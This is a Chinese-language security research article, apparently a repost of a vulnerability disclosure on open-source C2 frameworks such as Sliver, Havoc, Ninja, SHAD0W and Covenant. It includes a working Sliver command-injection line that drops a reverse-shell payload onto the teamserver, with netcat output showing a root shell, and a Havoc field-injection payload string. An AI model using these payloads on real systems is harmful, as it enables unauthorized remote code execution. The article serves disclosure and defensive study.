前言
应用程序和源代码安全评估是 Include Security 的主要工作重点,但有时也需要使用其他黑客编写的软件进行网络渗透测试。我决定调查网络和红队评估中使用的开源命令和控制 (C2) 框架,以了解它们的工作原理,最终发现了经过身份验证和未经身份验证的 RCE(远程代码执行)漏洞的有趣组合。
这篇文章概述了 C2 概念,简要介绍了当前的开源框架,并回顾了已发现漏洞的详细信息(包括再现 gif!)。文章最后对 C2 现状以及未来发展前景进行了一些思考。
C2框架
过去几年,开源 C2 框架备受关注。闭源的 Cobalt Strike 一直是 C2 领域无可争议的王者,但开源替代方案在红队成员、威胁行为者和业余爱好者中越来越受欢迎。开源替代方案没有高昂的许可成本,而且在 Cobalt Strike 的默认行为受到大量分析和指纹识别的世界中,开源替代方案有可能不被人注意。
快速回顾:C2 框架是用于控制和维护对被黑客入侵计算机的访问的基础设施。C2 框架简化了攻击目标网络或组织的“操作员”(红队成员/渗透测试人员/黑客)的流程。经常与 C2 框架相关的一个术语是“后利用”:C2 框架旨在协助已经获得一定程度控制目标计算机的攻击者,无论是通过网络钓鱼、Web 漏洞还是供应链攻击。如果没有中央管理平台,后利用阶段很快就会变得混乱,尤其是对于协作的操作员团队而言。C2 框架旨在通过将三个组件打包在一起来解决该问题:代理、团队服务器和客户端。
C2框架由以下三个组件组成:
-
代理(也称为植入物 / 恶魔 / 信标)——在目标系统上运行的恶意软件,可连接回团队服务器、维持访问权限并在受感染系统上执行命令。 -
Teamserver – 中央后端服务,接收被黑系统上启动的代理的回拨,并与代理进行通信。具有 API 或其他接口,使操作员能够与团队服务器交互并向代理发出指令。 -
客户端 – 操作员本地运行的 Web 界面或程序,用于连接到团队服务器,提供用于管理操作的 UI。在不太成熟的 C2 框架中,客户端可能只是团队服务器启动后呈现的命令行界面 (CLI),而不是在操作员自己的计算机上运行的单独组件。
该描述是 C2 框架应具备的最低要求。通常,代理具有避免被防病毒和端点检测与响应 (EDR) 产品检测到的功能,以及枚举有关受感染系统的信息并攻击其他系统的模块。同样,团队服务器通常提供一套功能,包括为一系列目标架构和操作系统生成代理二进制文件;管理从目标系统窃取的文件;为代理-团队服务器流量实施一系列传输协议以绕过防火墙规则;以及加密和验证代理-团队服务器流量。
C2 框架之间共享的其他术语:
-
窃取 – 从受感染系统下载/窃取的文件、凭证和屏幕截图,并存储在团队服务器上 -
监听器 – 在团队服务器上打开的端口,用于监听代理回调 -
处理程序——响应代理回调在团队服务器上执行的后端代码,例如,处理程序可以从代理接收战利品并将其下载到团队服务器 -
任务 – 操作员希望代理执行的排队操作 信标间隔 – 代理在检查团队服务器监听器以查看是否有任何任务要执行之间等待的固定时间段(例如每 30 秒)。这样做是因为它比持久连接更隐蔽 -
Stager – 在受感染主机上执行的最小代码片段,用于获取并运行完整的 C2 代理。它比数兆字节的代理更隐蔽且更容易部署 -
Stager listener – 在团队服务器上运行的服务,响应 stager 回调提供完整的代理 -
重定向器 – 接收代理回调并将其转发到团队服务器的服务器。旨在隐藏团队服务器的 IP 地址,并使代理与团队服务器之间的通信看起来像常规流量
下图显示了 C2 框架的典型用法:
开源 C2 框架
每个开源 C2 框架都有不同的功能集、不同的 UI、略有不同的术语,并且使用多种编程语言编写。然而,现代框架往往分为两大阵营:用 Golang 编写的框架和用 C# 编写的框架。Golang 和 C# 都是 C2 堆栈所有三个组件的可靠语言,这意味着代理、团队服务器和客户端可以用同一种语言编写。Python 也是 C2 团队服务器和客户端的热门选择,而较旧的 C2 框架大量使用 PowerShell 作为代理,因为在 Windows 上运行恶意 PowerShell 代码更容易而不被发现。
大多数 C2 框架都是由个人或小型贡献者团队发起的激情项目,许多曾经流行的框架不再处于积极开发中。有一些资源旨在使选择正确的 C2 框架变得更容易,例如C2Matrix 问卷,但几个建议的框架很久以前就被放弃了。我发现最有用的最近排名是Atomics 在 2024 年 4 月的周五播客上创建的淘汰赛括号。投票中,Mythic、Sliver 和 Havoc 成为社区的首选。
传统 C2 框架的一个有趣的限制是,框架将代理、团队服务器和客户端捆绑在一起,并且每个组件通常很难更换。我发现有些框架有相当先进的代理,但控制和协作代码却很原始。与此同时,其他 C2 框架拥有出色的 UI,具有操作员角色管理、攻击图、反应式前端,但代理不够复杂且不隐蔽。现代模块化框架正在解决组件之间的紧密耦合问题,我们稍后会详细讨论。
C2 框架可能存在的问题
Hacker使用 C2 框架来简化复杂活动的管理。C2 框架为多个Hacker在执行目标后利用时提供了一种协调方式。然而,C2 框架中的设计缺陷和错误可能会导致针对活动和红队操作员本身的安全风险。
以下是针对 C2 框架的一些可能威胁:
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C2 框架漏洞
了解了背景之后,现在让我们看看各个 C2 框架。
Sliver
Sliver 介绍
Sliver 是一款 Golang 编写的框架:代理、团队服务器和客户端均使用 Go 编写。任何喜欢 Linux 命令行的人都会对 Sliver 的 UI(即 CLI)感到熟悉,尽管也可以编写自定义客户端。架构和代码质量很高,使用 GRPC over mTLS 进行客户端-服务器通信,并可选择使用 mTLS、Wireguard、HTTPS 或 DNS 作为代理-服务器流量的传输协议。
我发现 Sliver 的代理(“植入物”)功能强大且可靠,同时在 HackTheBox ProLabs Active Directory 网络上调整和提升权限。Sliver 提供了多种执行第三方工具的方法,而 Sliver 的真正魔力在于军械库功能,它提供了大量的扩展,而且很容易添加您自己的扩展。代理还支持运行信标对象文件 (BOF),这是一种由 Cobalt Strike 开发的与位置无关的代码格式,因此 Sliver 可以访问 BOF 的开源库。对于学习,Dominic Breuker 有一系列出色的博客文章。
经过身份验证的命令注入
在查看 Sliver 的最新预发布版本 (1.6.0) 的 stager 代码时,我看到了一种方法,任何 Sliver 操作员(即经过身份验证的用户)都可以在 teamserver 上获取根 shell。这打破了 Sliver 的威胁模型,即“运营商和服务器之间有明确的安全边界,运营商本身就不应该能够在服务器上运行命令或代码”。Sliver 具有多人游戏模式,并正在添加基于角色的访问控制,以便为操作员分配精细权限。红队操作通常由许多人组成,一个低权限团队成员的入侵不应导致对服务器的完全管理控制。 这也是一个非常有趣的漏洞,因为我们让 teamserver 使用 Metasploit 来 pwn 自己。我们基本上在服务器上执行 Metasploit 暂存器有效负载,而不是将其发送到操作员客户端以部署到目标系统上。 Sliver 团队报告了这个漏洞,并在稳定版本中发布之前将其修复为 CVE-2024-41111。
Sliver 支持 Metasploit 暂存器。在后台,Metasploit 暂存器使用 Go 的 exec 调用 msfvenom。Command() 的在将用户选项插入到命令字符串之前,会对其进行验证。去年添加了一项功能,为 stager 提供高级选项。此更改的目的是控制 EXITFUNC=thread 等选项,但此更改允许为 msfvenom 指定其他命令行参数。msfvenom 的一个参数是 --out,它将有效负载写入文件而不是标准输出。这使我们能够将 msfvenom 有效负载写入 teamserver 上的任意文件。
我们在/root/.sliver/go/bin/garble
处覆盖 Sliver 自己的捆绑二进制文件之一:
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/garble
[*] Sliver implant stager saved to: [...]
在攻击系统 192.168.0.128 的端口 8888 上设置netcat shell
。然后通过运行代理编译命令来触发漏洞利用,该命令间接执行/root/.sliver/go/bin/garble
:
sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
та╝ Compiling, please wait ...
将弹出一个 root shell:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
root
Sliver 团队通过删除 generate msf-stager 命令来修复漏洞,该文档现在指示操作员在本地而不是在 teamserver 上生成自己的 Metasploit 暂存器。
Havoc
Havoc 简介
Havoc 的团队服务器也是用 Go 编写的,但客户端是 C++ 并且具有 Qt GUI,而代理是用 C 和 ASM 编写的。Havoc 相对于 Sliver 的主要优势在于其酷炫的 GUI,它类似于 Cobalt Strike,可以在被黑机器上可视化活动会话。我发现 Havoc 的代码不如 Sliver 的成熟,在一些地方有粗略的内容,尽管随着开发人员重构原始代码库,它正在不断改进。默认的 Havoc 代理(“demon”)能够使用进程注入在远程进程中执行 shellcode,并通过 .NET 内联汇编执行 BOF 文件。与 Sliver 相比,它的扩展库更小,编写扩展所需的开销稍大。考虑到 Havoc 是由一名青少年开发人员作为业余项目启动的,它非常令人印象深刻,并且可能是所有 C2 框架中最好的 UI。
另一个经过身份验证的命令注入
Havoc 在 teamserver 中有一个经过身份验证的 RCE 漏洞,该漏洞与 Sliver 中的漏洞类似。此外,默认的 Havoc 配置会创建两个密码为“password1234”的用户,因此,任何不小心在不受信任的网络上运行默认设置的 Havoc 的人都可能立即受到此 RCE 漏洞的利用。由于 chebuya 最近发现了一个很酷的 SSRF 漏洞,被防火墙关闭的团队服务器仍然可能受到攻击。
执行Command()
调用用于代表用户编译自定义代理,并且每个客户端参数都经过清理,但“Service Name”
字段除外。由于sh -c
是程序运行,因此可以取消编译命令,而可以运行任意命令。结果甚至可以在 Havoc UI 中查看,尽管整个攻击也可以通过使用 teamserver 的 WebSockets 协议来自动化。
服务名称字段中的注入有效负载类似于“ -mbla;CMD 1>&2 && false #
:
-
“ 退出引号 -
-mbla 导致 MinGW 编译失败,而不必等待它 -
CMD 1>&2 中选定的有效载荷重定向到 stderr -
&& false 导致命令失败,服务器发回 stderr 输出 -
在注入后注释掉参数
服务 API 身份验证绕过
在此之前的一段时间,Havoc 的 Service API 功能中发现了身份验证绕过功能。身份验证逻辑遍历用户名和密码,但如果没有匹配项,则函数不会返回 false。这意味着恶意服务可以连接到 teamserver,提供错误的密码,然后继续向 teamserver 发送消息,teamserver 会将其视为已授权。
服务 API 代码与用户代理生成代码是分开的,否则放在一起可能会有一个完整的未经身份验证的链来根除这两个漏洞的 Havoc teamserver。
服务 API 身份验证绕过已修复,但经过身份验证的 RCE 仍然存在于 Havoc 的主分支中,因为所有开发工作现在都集中在重写分支上。
Ninja
Ninja 简介
Ninja C2 基于伊朗 APT 组织使用的泄露的 MuddyC3 代码。teamserver 是用 Python 编写的,代理使用 PowerShell。它的设计目标是隐身,每次启动新的活动时,许多行为都会发生变化。例如,teamserver 会生成经过混淆处理的 Web 服务器回传 URL,这些 URL 会随着每个推广活动而变化。Sliver 和 Havoc 的许多功能都以更基本的形式存在。相关的博客文章声称,当 Ninja 新发布时,它能够绕过主要的 AV 和 SIEM 产品,这表明在隐身方面,不熟悉的攻击签名就是一切。
未经身份验证的任意文件下载
Ninja Web 服务器容易受到通过路径遍历的未经身份验证的任意文件下载的攻击。这会导致在以 root 身份运行时立即对 teamserver 进行 RCE,或者在下次重新启动 teamserver 时进行 RCE。
该漏洞的前提条件与 2016 年针对 Empire 框架的 Skywalker 漏洞相同,这是一个经典的 C2 框架漏洞,拥有自己的 Metasploit 模块。Skywalker 漏洞攻击在以下情况下发生:
-
teamserver 包含代理可以调用的下载端点。 -
代理可以提供它上传到 teamserver 的文件的完整文件路径。 -
filepath 参数容易受到路径遍历的影响。
请注意,对于 Sliver 来说,三个前提条件都不成立。在 Sliver 中,仅当操作员请求下载时,才会进行下载;代理无法控制 filepath;文件名由客户端使用基本名称而不是文件的完整路径设置。
在 Ninja 的案例中,代理也不需要任何特殊密钥即可向 Ninja 团队服务器注册。恶意的假代理可以调用 register 端点,然后将恶意文件上传到 teamserver 上的任意文件路径。唯一的障碍是 URL 终端节点是从每个活动的列表中随机选择的,但终端节点列表足够短,可以被暴力破解。漏洞利用脚本通过 crontab 中的反向 shell 回调来实现这一点。
SHAD0W
SHAD0W 介绍
SHAD0W 是一个 C2 框架,具有 Python 后端和用 C 语言编写的代理。它在三年前很受欢迎,但此后没有进一步发展。UI 是一个很酷的黑客 CLI,类似于 Sliver。SHAD0W 的主要特点是它的模块化,具有干净的代码库和用于添加新命令和模块的简单协议。另一个重点是隐身,使用一个代理实现反 DLL 注入、动态解析的系统调用和进程注入的线程劫持。
未授权RCE
SHAD0W 容易受到未经身份验证的 RCE 的攻击,其中代理提供的不受信任的输入被注入到 teamserver 上运行的命令中。当新代理(SHAD0W 术语中的“beacon”)签入 teamserver 时,beacon 会报告架构、操作系统、域和有关受感染系统的其他信息。
在 SHAD0W 中,信标模块在目标系统的 teamserver 上按需编译。SHAD0W 中的多个模块在编译 shellcode 时使用任意 beacon 提供的值作为参数。例如,实现进程迁移的migrate
模块将architecture
值传递给buildtools.make_in_clone()
。该值最终被插入到 make 命令的os.system()
函数调用中。
当信标首次连接到 teamserver 时,信标提供的值会显示给 C2 操作员,因此这里需要一定程度的混淆来伪装有效负载并激发操作员与信标交互的好奇心。当操作员与 beacon 交互并使用 migrate 模块时,攻击者的命令会在 teamserver 上执行。
Covenant
Covenant介绍
Covenant 是 3-4 年前流行的另一个框架,并且是 Zero Point Security 的 Red Team Ops 课程第一次迭代的框架。服务器是用 C# 编写的,客户端是 C# Blazor Web 应用程序。从那时起,该框架几乎没有什么发展。该框架具有许多简洁的功能,包括干净的 Web UI、用于代理与服务器通信的加密前向保密以及用于动态修改代理与服务器通信在网络上的显示方式的侦听器配置文件。
权限提升
Covenant 的当前 master 和 dev 分支都容易受到从 User 到 Administrator 的权限升级的影响。除非您是管理员,否则 API 会阻止编辑角色,但是在 UI 本身中,用户可以为自己授予管理员角色。
用户现在可以访问 Covenant 最强大的功能,即创建 HTTP 侦听器配置文件的能力,该功能仅限于管理员。尽管没有在 Covenant 服务器上获取 shell 的内置方法,但 HTTP 配置文件功能实质上支持在服务器上运行 C# 代码,以自定义发送到代理和从代理发送的流量。
经过身份验证的命令注入
C# 代码受到以下事实的限制:Covenant 编译器将System
命名空间限制为System.Private.CoreLib.dll
这意味着不能直接使用 Process。但是,之前 0xcoastal 对 Covenant 的很酷的研究发现,Tim Malcolmvetter 的一篇博客文章表明,只需要 Activator 和 Assembly 类即可执行任意 .NET 程序集的进程注入。这项研究使编写漏洞利用概念验证成为读者的一种练习,因此我实现了一个攻击脚本,在 Covenant 团队服务器上完成了从低权限用户到 shell 的升级。
Covenant 开发人员承认特权漏洞的升级,下次他开发 Covenant 时将修复该漏洞。他要求包含以下附录:“对于此漏洞,对 Covenant 侦听器的网络访问是不够的。此漏洞需要对 Covenant 的管理端口进行逻辑访问,而该端口绝不应公开暴露。这是一种经过身份验证的权限提升,需要访问有效的现有用户帐户。通过自定义配置文件作为管理用户,通过 Covenant 服务器在 Covenant 服务器上作为管理用户是已知的,并且是预期的功能。尽管 Covenant 目前没有处于积极开发阶段,但 Covenant 仍处于测试阶段(v1.0 之前)。Covenant 是作为一种爱好开发的,从未接受过安全风险的专业评估。
Mythic
Mythic 介绍
到目前为止,一个流行的 C2 框架是 Mythic。Mythic 的设计与大多数 C2 不同,因为它是一个模块化平台,必须进行定制,因为它没有内置代理。Mythic 系统的每个部分都有自己的 Docker 容器,启动 Mythic 涉及默认启动八个 Docker 容器(一个用于 Web 服务器,一个用于数据库,一个用于 GraphQL API 等),然后为要使用的特定代理和传输添加更多容器。
这使 Mythic 可以腾出更多精力来关注团队服务器上的架构和协作体验,而不是构建隐蔽的代理。Web UI 表面上看起来确实有点过时,但是一旦你开始与服务器交互,很明显 Mythic 具有大量的团队服务器功能和生活质量功能,比我看过的任何其他 C2 框架都多。该平台具有完整的用户和服务账户角色管理,并支持启动涉及具有多个权限级别的不同操作员的活动。Mythic 在跟踪活动期间发生的一切方面也很先进,并且数据易于搜索以加快报告速度。
结论
总的来说,在这次探索的过程中,我学到了一些东西。C2 框架旨在帮助您在其他人的计算机上运行命令,但具有讽刺意味的是,许多 C2 框架很容易在它们上运行未经授权的命令。在某些情况下,只需在公共网络(例如 HackTheBox VPN)上使用默认选项启动这些框架即可让您对 RCE 持开放态度。我认为这一点很重要,因为许多用户都是业余爱好者,与他们的朋友一起试验和玩 CTF,并且不会对团队服务器进行高级操作部署。
漏洞的根源是 Teamserver 在 C2 框架中需要履行的角色的复杂性和数量。teamserver 代表操作员编译漏洞利用程序,在 UI 中显示来自外部不受信任的 IP 的数据,并从被黑客入侵的系统下载文件。防止这些功能被利用需要严格验证任何外部输入,并最大限度地减少对 system() 函数的调用次数。测试的 C2 框架通常执行此验证,但在某个地方犯了一个疏忽,这意味着攻击者的输入流入了强大的 sink 函数。框架通过在代理、teamserver 和 client 之间严格执行数据边界,最有可能避免此类漏洞。例如,请参阅 Ninja 与 Sliver 的方法与 Skywalker 漏洞前提条件的比较(在上面的 Ninja 部分下)。
原文始发于微信公众号(SecretTeam安全团队):探索开源 C2 框架中的漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论